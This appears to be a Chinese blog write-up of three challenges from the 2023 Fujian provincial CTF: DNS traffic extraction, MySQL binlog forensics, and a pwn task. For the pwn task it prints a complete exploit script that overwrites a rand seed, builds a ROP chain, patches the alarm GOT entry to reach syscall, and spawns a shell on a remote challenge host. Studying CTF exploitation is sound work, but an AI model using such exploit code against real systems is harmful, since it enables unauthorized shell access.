Fork me on GitHub

2023福建省赛

DNS-流量分析

一眼压缩包

image-20230525112024474

为了做快点,直接全部复制出来放txt里

删掉首尾无用的数据,前几个序号随便加个1补齐长度

image-20230525112057112

读取脚本

with open ('11.txt','r')as f:
    lines=f.readlines()
tmp=''
for i in range(0,len(lines),2):
    tmp+=(lines[i][71:86:])
print(tmp)

得到压缩包,密码爆破

image-20230525112142648

得到flag

image-20230525112205548

mylog

mysql的二进制文件,mysqlbinlog导出成sql文件

image-20230525112244896

翻阅时看到大概是两个数据库test和heidun,都在对flag、f1ag、f14g字段进行操作,一看后面的数据库才是对的flag

搜一下heidun,找一下对flag的操作

创建数据库,创建f14g表,看上去应该是把test.f14g表给移过去了

image-20230525112738530

往上翻看到对test.f14g表的插入操作,FLAG{

image-20230525112759912

后面表又切成f1ag,insertheidun_2023

image-20230525112929802

_heidun]

image-20230525113117592

最终得到FLAG{heidun_2023_heidun]

replace

image-20230525113251442

image-20230525113407759

最终flagflag{heidun-2023-heidun}

secret_message

查看保护,可以覆写got表

image-20230525113248131

反编译静态分析程序逻辑,很明显的溢出,但是有个逻辑判断。

image-20230525113335320

查看逻辑判断函数,输入正确的字符串即可。对字符串进行加密的rand函数种子我们并不知道,不过sub_4008d1函数有个越界覆写。动调找到正确字符串,懒得算了。

image-20230525113357593

进入sub_4008d1函数,因为输入的0x20字符和seed是相连的,所以填满0x20字节,可以让strlen算出0x24,在buf处覆盖seed为0x24

image-20230525113806849

后面就是正常的rop链,但是程序中没有输出函数,只有alarm函数,所以要修改alarm的got,修改最低位为syscall。然后打syscall-0x3b调用system即可getshell。

image-20230525114106682

  • exp
from pwncy import *
from ctypes import *

context(log_level = "debug",arch = "amd64")

p,elf,libc = load("pwn",ip_port = '39.104.54.154:7354',remote_libc = "libc-2.27.so")

debug(p,'no-tmux',0x400A52,0x400954,0x400A83,0x400A3B)
code = "s0d0ao2lnfic9alsl2lmxncbzyqi1j2"
seed = (0x24)
elf_libc = cdll.LoadLibrary("./libc-2.27.so")
elf_libc.srand(seed)

payload = ""
for index in range(len(code)):
	v4 = elf_libc.rand() % 16
	# print(v4)
	raw_char = code[index]
	# print(raw_char)
	payload += chr(v4 ^ ord(raw_char))
print(payload)
payload = "{>o<fi:`mjkj5daqd6fhugim~~rj5h="
s(payload+"\x00")
pause()
main = 0x400A52
pop_rdi = 0x400af3
pop_rsi_r15 = 0x400af1
# puts_got = elf.got['puts']
# puts_plt = elf.plt['puts']
alarm_got = elf.got['alarm']
read = elf.sym['read']
init1 = 0x400AEA
init2 = 0x400AD0
buf = elf.bss() + 0x400

padding = flat({
	0x38: [pop_rsi_r15,alarm_got,alarm_got,read],
	0x58: [pop_rsi_r15,buf,buf,read],
	0x78: [init1,0,0,alarm_got,0,0,buf,init2]
	})
s(padding)
pause()
s(b"\xf5")
pause()
s(b"/bin/sh\x00".ljust(0x3b,b'A'))
itr()
posted @ 2023-06-03 15:31  Tw0^Y  阅读(49)  评论(0编辑  收藏  举报